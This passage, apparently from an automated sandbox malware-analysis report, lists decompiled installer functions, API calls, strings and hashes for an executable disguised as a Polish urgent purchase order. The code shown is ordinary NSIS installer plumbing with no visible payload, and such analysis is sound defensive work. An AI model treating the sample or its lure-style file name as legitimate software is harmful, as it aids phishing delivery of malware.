					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E004057D8(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E00405796("*?|<>/\":", _t5))) == 0) {
							E00405927(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}








                                                                                              0x00405f66
                                                                                              0x00405f6e
                                                                                              0x00405f82
                                                                                              0x00405f82
                                                                                              0x00405f88
                                                                                              0x00405f95
                                                                                              0x00405f95
                                                                                              0x00405f96
                                                                                              0x00405f98
                                                                                              0x00405f9c
                                                                                              0x00405f9e
                                                                                              0x00405fa7
                                                                                              0x00405fa9
                                                                                              0x00405fc3
                                                                                              0x00405fcb
                                                                                              0x00405fcb
                                                                                              0x00405fd0
                                                                                              0x00405fd2
                                                                                              0x00405fd4
                                                                                              0x00405fd8
                                                                                              0x00405fd9
                                                                                              0x00405fdc
                                                                                              0x00405fe4
                                                                                              0x00405fe6
                                                                                              0x00405fea
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405ff0
                                                                                              0x00405ff5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405ff5
                                                                                              0x00405ffa

                                                                                              APIs
                                                                                              • CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe",76283410,C:\Users\user\AppData\Local\Temp\,00000000,004030B4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032C9), ref: 00405FBC
                                                                                              • CharNextA.USER32(?,?,?,00000000), ref: 00405FC9
                                                                                              • CharNextA.USER32(?,"C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe",76283410,C:\Users\user\AppData\Local\Temp\,00000000,004030B4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032C9), ref: 00405FCE
                                                                                              • CharPrevA.USER32(?,?,76283410,C:\Users\user\AppData\Local\Temp\,00000000,004030B4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032C9), ref: 00405FDE
                                                                                              Strings
                                                                                              • C:\Users\user\AppData\Local\Temp\, xrefs: 00405F65
                                                                                              • "C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe", xrefs: 00405FA0
                                                                                              • *?|<>/":, xrefs: 00405FAC
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Char$Next$Prev
                                                                                              • String ID: "C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
                                                                                              • API String ID: 589700163-1837443761
                                                                                              • Opcode ID: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
                                                                                              • Instruction ID: a0964663e3c08fb0288e5f4f4a0160773f2bbbf5a4d40b443b4f636863f092b1
                                                                                              • Opcode Fuzzy Hash: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
                                                                                              • Instruction Fuzzy Hash: C611C451808F922EEB3216640C44BBB7F99CF5A760F18007BE9D4B22C2D67C5C429F6E
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402B7F Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40timeCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00402B7F(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, "true", 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x40a8b8; // 0xa306e
					_t11 =  *0x4168c4; // 0xa37a0
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfA( &_v68, "verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}






                                                                                              0x00402b8c
                                                                                              0x00402b9a
                                                                                              0x00402ba0
                                                                                              0x00402ba0
                                                                                              0x00402bae
                                                                                              0x00402bb0
                                                                                              0x00402bb6
                                                                                              0x00402bbd
                                                                                              0x00402bbf
                                                                                              0x00402bbf
                                                                                              0x00402bd5
                                                                                              0x00402be5
                                                                                              0x00402bf7
                                                                                              0x00402bf7
                                                                                              0x00402bff

                                                                                              APIs
                                                                                              • SetTimer.USER32(?,?,000000FA,00000000), ref: 00402B9A
                                                                                              • MulDiv.KERNEL32(000A306E,00000064,000A37A0), ref: 00402BC5
                                                                                              • wsprintfA.USER32 ref: 00402BD5
                                                                                              • SetWindowTextA.USER32(?,?), ref: 00402BE5
                                                                                              • SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BF7
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Text$ItemTimerWindowwsprintf
                                                                                              • String ID: n0$verifying installer: %d%%
                                                                                              • API String ID: 1451636040-4004012854
                                                                                              • Opcode ID: 649971ee7512e9da800057b1e5ac373431693e3f4f1e876899c067cd5a0faa84
                                                                                              • Instruction ID: bd73235a5a2a729140de961e31d76a0e47d27260d0eaef7d75f80e35c4c54abd
                                                                                              • Opcode Fuzzy Hash: 649971ee7512e9da800057b1e5ac373431693e3f4f1e876899c067cd5a0faa84
                                                                                              • Instruction Fuzzy Hash: EF01F471540208BBEF109F60DD49EEE3B79EB04305F008039FA16B51D1D7B59955DF59
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00403F45 Relevance: 12.1, APIs: 8, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00403F45(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}








                                                                                              0x00403f57
                                                                                              0x00403feb
                                                                                              0x00000000
                                                                                              0x00403feb
                                                                                              0x00403f68
                                                                                              0x00403f6c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403f72
                                                                                              0x00403f7b
                                                                                              0x00403f7e
                                                                                              0x00403f7e
                                                                                              0x00403f84
                                                                                              0x00403f8a
                                                                                              0x00403f8a
                                                                                              0x00403f96
                                                                                              0x00403f9c
                                                                                              0x00403fa3
                                                                                              0x00403fa6
                                                                                              0x00403fa9
                                                                                              0x00403fab
                                                                                              0x00403fab
                                                                                              0x00403fb3
                                                                                              0x00403fb9
                                                                                              0x00403fb9
                                                                                              0x00403fc3
                                                                                              0x00403fc8
                                                                                              0x00403fcb
                                                                                              0x00403fd0
                                                                                              0x00403fd3
                                                                                              0x00403fd3
                                                                                              0x00403fe3
                                                                                              0x00403fe3
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • GetWindowLongA.USER32(?,000000EB), ref: 00403F62
                                                                                              • GetSysColor.USER32(00000000), ref: 00403F7E
                                                                                              • SetTextColor.GDI32(?,00000000), ref: 00403F8A
                                                                                              • SetBkMode.GDI32(?,?), ref: 00403F96
                                                                                              • GetSysColor.USER32(?), ref: 00403FA9
                                                                                              • SetBkColor.GDI32(?,?), ref: 00403FB9
                                                                                              • DeleteObject.GDI32(?), ref: 00403FD3
                                                                                              • CreateBrushIndirect.GDI32(?), ref: 00403FDD
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                                                              • String ID:
                                                                                              • API String ID: 2320649405-0
                                                                                              • Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
                                                                                              • Instruction ID: 563dd17f99c902cd34f005863f03740a6a5938172a6e5e033378c94734032825
                                                                                              • Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
                                                                                              • Instruction Fuzzy Hash: B4214271908705ABC7219F68DD48F4BBFF8AF01715B048A29E895E26E0D735EA04CB55
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 100021FA Relevance: 10.6, APIs: 7, Instructions: 139memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 87%
                                                                                              			E100021FA(void* __edx, intOrPtr _a4) {
				signed int _v4;
				void* _t36;
				signed int _t37;
				void* _t38;
				void* _t47;
				signed int* _t49;
				signed int* _t50;
				void* _t51;

				_v4 = 0 |  *((intOrPtr*)(_a4 + 0x814)) > 0x00000000;
				while(1) {
					_t9 = _a4 + 0x818; // 0x818
					_t50 = (_v4 << 5) + _t9;
					_t36 = _t50[6];
					if(_t36 == 0) {
						goto L9;
					}
					_t47 = 0x1a;
					if(_t36 == _t47) {
						goto L9;
					}
					if(_t36 != 0xffffffff) {
						if(_t36 <= 0 || _t36 > 0x19) {
							_t50[6] = _t47;
						} else {
							_t36 = E100012AD(_t36 - 1);
							L10:
						}
						goto L11;
					} else {
						_t36 = E1000123B();
						L11:
						_t51 = _t36;
						_t13 =  &(_t50[2]); // 0x820
						_t49 = _t13;
						if(_t50[1] != 0xffffffff) {
						}
						_t37 =  *_t50;
						_t50[7] = _t50[7] & 0x00000000;
						if(_t37 > 7) {
							L27:
							_t38 = GlobalFree(_t51);
							if(_v4 == 0) {
								return _t38;
							}
							if(_v4 !=  *((intOrPtr*)(_a4 + 0x814))) {
								_v4 = _v4 + 1;
							} else {
								_v4 = _v4 & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t37 * 4 +  &M10002380))) {
								case 0:
									 *_t49 =  *_t49 & 0x00000000;
									goto L27;
								case 1:
									__eax = E100012FE(__ebp);
									goto L20;
								case 2:
									 *__ebx = E100012FE(__ebp);
									 *((intOrPtr*)(__ebx + 4)) = __edx;
									goto L27;
								case 3:
									__eax = E10001224(__ebp);
									 *(__esi + 0x1c) = __eax;
									L20:
									 *__ebx = __eax;
									goto L27;
								case 4:
									 *0x1000405c =  *0x1000405c +  *0x1000405c;
									__edi = GlobalAlloc(0x40,  *0x1000405c +  *0x1000405c);
									 *0x1000405c = MultiByteToWideChar(0, 0, __ebp,  *0x1000405c, __edi,  *0x1000405c);
									if( *__esi != 5) {
										 *(__esi + 0x1c) = __edi;
										 *__ebx = __edi;
									} else {
										__eax = GlobalAlloc(0x40, 0x10);
										_push(__eax);
										 *(__esi + 0x1c) = __eax;
										_push(__edi);
										 *__ebx = __eax;
										__imp__CLSIDFromString();
										__eax = GlobalFree(__edi);
									}
									goto L27;
								case 5:
									if(lstrlenA(__ebp) > 0) {
										__eax = E100012FE(__ebp);
										 *__edi = __eax;
									}
									goto L27;
								case 6:
									__esi =  *(__esi + 0x18);
									__esi = __esi - 1;
									__esi = __esi *  *0x1000405c;
									__esi = __esi +  *0x10004064;
									__eax = __esi + 0xc;
									 *__edi = __esi + 0xc;
									asm("cdq");
									__eax = E10001429(__edx, __esi + 0xc, __edx, __esi);
									goto L27;
							}
						}
					}
					L9:
					_t36 = E10001224(0x10004034);
					goto L10;
				}
			}











                                                                                              0x1000220e
                                                                                              0x10002212
                                                                                              0x1000221d
                                                                                              0x1000221d
                                                                                              0x10002224
                                                                                              0x10002229
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x1000222d
                                                                                              0x10002230
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10002235
                                                                                              0x10002240
                                                                                              0x10002250
                                                                                              0x10002247
                                                                                              0x10002249
                                                                                              0x1000225f
                                                                                              0x1000225f
                                                                                              0x00000000
                                                                                              0x10002237
                                                                                              0x10002237
                                                                                              0x10002260
                                                                                              0x10002264
                                                                                              0x10002266
                                                                                              0x10002266
                                                                                              0x10002269
                                                                                              0x10002269
                                                                                              0x10002271
                                                                                              0x10002273
                                                                                              0x1000227a
                                                                                              0x10002349
                                                                                              0x1000234a
                                                                                              0x10002355
                                                                                              0x1000237f
                                                                                              0x1000237f
                                                                                              0x10002365
                                                                                              0x10002371
                                                                                              0x10002367
                                                                                              0x10002367
                                                                                              0x10002367
                                                                                              0x00000000
                                                                                              0x10002280
                                                                                              0x10002280
                                                                                              0x00000000
                                                                                              0x10002287
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10002290
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x1000229e
                                                                                              0x100022a0
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x100022a9
                                                                                              0x100022ae
                                                                                              0x100022b1
                                                                                              0x100022b2
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x100022be
                                                                                              0x100022c9
                                                                                              0x100022d8
                                                                                              0x100022e1
                                                                                              0x10002303
                                                                                              0x10002306
                                                                                              0x100022e3
                                                                                              0x100022e7
                                                                                              0x100022ed
                                                                                              0x100022ee
                                                                                              0x100022f1
                                                                                              0x100022f2
                                                                                              0x100022f4
                                                                                              0x100022fb
                                                                                              0x100022fb
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10002313
                                                                                              0x10002316
                                                                                              0x10002322
                                                                                              0x10002324
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10002327
                                                                                              0x1000232a
                                                                                              0x1000232b
                                                                                              0x10002332
                                                                                              0x10002339
                                                                                              0x1000233c
                                                                                              0x1000233e
                                                                                              0x10002341
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10002280
                                                                                              0x1000227a
                                                                                              0x10002255
                                                                                              0x1000225a
                                                                                              0x00000000
                                                                                              0x1000225a

                                                                                              APIs
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 1000234A
                                                                                                • Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234
                                                                                              • GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
                                                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
                                                                                              • GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
                                                                                              • CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 100022FB
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14152699490.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14152673493.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152730936.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152760294.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_10000000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
                                                                                              • String ID:
                                                                                              • API String ID: 3730416702-0
                                                                                              • Opcode ID: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                                                              • Instruction ID: bfa8c22ebd78897ea4dc14f883c746723b208fa17a75ef0c69fbb79ff87ab60c
                                                                                              • Opcode Fuzzy Hash: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                                                              • Instruction Fuzzy Hash: B541ABB1108311EFF320DFA48884B5BB7F8FF443D1F218529F946D61A9DB34AA448B61
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 78%
                                                                                              			E100023DA(intOrPtr* _a4) {
				char _v80;
				intOrPtr _v84;
				short _v92;
				intOrPtr* _t22;
				void* _t24;
				intOrPtr _t25;
				signed int _t33;
				void* _t37;
				intOrPtr _t38;
				void* _t41;

				_t37 = E10001215();
				_t22 = _a4;
				_t38 =  *((intOrPtr*)(_t22 + 0x814));
				_v84 = _t38;
				_t41 = (_t38 + 0x41 << 5) + _t22;
				do {
					if( *((intOrPtr*)(_t41 - 4)) != 0xffffffff) {
					}
					_t33 =  *(_t41 - 8);
					if(_t33 <= 7) {
						switch( *((intOrPtr*)(_t33 * 4 +  &M100024FD))) {
							case 0:
								 *_t37 = 0;
								goto L15;
							case 1:
								_push( *__eax);
								goto L13;
							case 2:
								__eax = E10001429(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L14;
							case 3:
								__eax = lstrcpynA(__edi,  *__eax,  *0x1000405c);
								goto L15;
							case 4:
								__ecx =  *0x1000405c;
								__edx = __ecx - 1;
								__eax = WideCharToMultiByte(__ebx, __ebx,  *__eax, __ecx, __edi, __edx, __ebx, __ebx);
								__eax =  *0x1000405c;
								 *((char*)(__eax + __edi - 1)) = __bl;
								goto L15;
							case 5:
								__ecx =  &_v80;
								_push(0x27);
								_push( &_v80);
								_push( *__eax);
								__imp__StringFromGUID2();
								__eax =  &_v92;
								__eax = WideCharToMultiByte(__ebx, __ebx,  &_v92,  &_v92, __edi,  *0x1000405c, __ebx, __ebx);
								goto L15;
							case 6:
								_push( *__esi);
								L13:
								__eax = wsprintfA(__edi, 0x10004000);
								L14:
								__esp = __esp + 0xc;
								goto L15;
						}
					}
					L15:
					_t24 =  *(_t41 + 0x14);
					if(_t24 != 0 && ( *_a4 != 2 ||  *((intOrPtr*)(_t41 - 4)) > 0)) {
						GlobalFree(_t24);
					}
					_t25 =  *((intOrPtr*)(_t41 + 0xc));
					if(_t25 != 0) {
						if(_t25 != 0xffffffff) {
							if(_t25 > 0) {
								E100012D1(_t25 - 1, _t37);
								goto L24;
							}
						} else {
							E10001266(_t37);
							L24:
						}
					}
					_v84 = _v84 - 1;
					_t41 = _t41 - 0x20;
				} while (_v84 >= 0);
				return GlobalFree(_t37);
			}













                                                                                              0x100023e6
                                                                                              0x100023e8
                                                                                              0x100023f2
                                                                                              0x100023f8
                                                                                              0x10002402
                                                                                              0x10002406
                                                                                              0x1000240a
                                                                                              0x1000240a
                                                                                              0x10002412
                                                                                              0x10002418
                                                                                              0x1000241e
                                                                                              0x00000000
                                                                                              0x10002425
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10002429
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10002433
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10002443
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x1000246f
                                                                                              0x10002477
                                                                                              0x10002481
                                                                                              0x10002483
                                                                                              0x10002488
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x1000244b
                                                                                              0x1000244f
                                                                                              0x10002451
                                                                                              0x10002452
                                                                                              0x10002454
                                                                                              0x10002464
                                                                                              0x1000246b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x1000248e
                                                                                              0x10002490
                                                                                              0x10002496
                                                                                              0x1000249c
                                                                                              0x1000249c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x1000241e
                                                                                              0x1000249f
                                                                                              0x1000249f
                                                                                              0x100024a4
                                                                                              0x100024b5
                                                                                              0x100024b5
                                                                                              0x100024bb
                                                                                              0x100024c0
                                                                                              0x100024c5
                                                                                              0x100024d1
                                                                                              0x100024d6
                                                                                              0x00000000
                                                                                              0x100024db
                                                                                              0x100024c7
                                                                                              0x100024c8
                                                                                              0x100024dc
                                                                                              0x100024dc
                                                                                              0x100024c5
                                                                                              0x100024dd
                                                                                              0x100024e1
                                                                                              0x100024e4
                                                                                              0x100024fc

                                                                                              APIs
                                                                                                • Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                                                              • GlobalFree.KERNEL32(?), ref: 100024B5
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 100024EF
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14152699490.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14152673493.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152730936.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152760294.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_10000000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$Free$Alloc
                                                                                              • String ID:
                                                                                              • API String ID: 1780285237-0
                                                                                              • Opcode ID: 60efd3df625640f4be7515cacb253fcaf1935380dc2dc721e62c6f1304e53a66
                                                                                              • Instruction ID: 4e6b36a645f71e2aed4a85f2c36ff1861f2741140ba068ae73f9b0a79c1593cf
                                                                                              • Opcode Fuzzy Hash: 60efd3df625640f4be7515cacb253fcaf1935380dc2dc721e62c6f1304e53a66
                                                                                              • Instruction Fuzzy Hash: EA319CB1504250EFF322CF64CCC4C6B7BBDEB852D4B124529FA4193168CB31AC94DB62
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 004047DD Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E004047DD(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}














                                                                                              0x004047eb
                                                                                              0x004047f8
                                                                                              0x004047fe
                                                                                              0x0040483c
                                                                                              0x0040483c
                                                                                              0x0040484b
                                                                                              0x00404852
                                                                                              0x00000000
                                                                                              0x00404854
                                                                                              0x00404800
                                                                                              0x0040480f
                                                                                              0x00404817
                                                                                              0x0040481a
                                                                                              0x0040482c
                                                                                              0x00404832
                                                                                              0x00404839
                                                                                              0x00000000
                                                                                              0x00404839
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004047F8
                                                                                              • GetMessagePos.USER32 ref: 00404800
                                                                                              • ScreenToClient.USER32(?,?), ref: 0040481A
                                                                                              • SendMessageA.USER32(?,00001111,00000000,?), ref: 0040482C
                                                                                              • SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404852
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
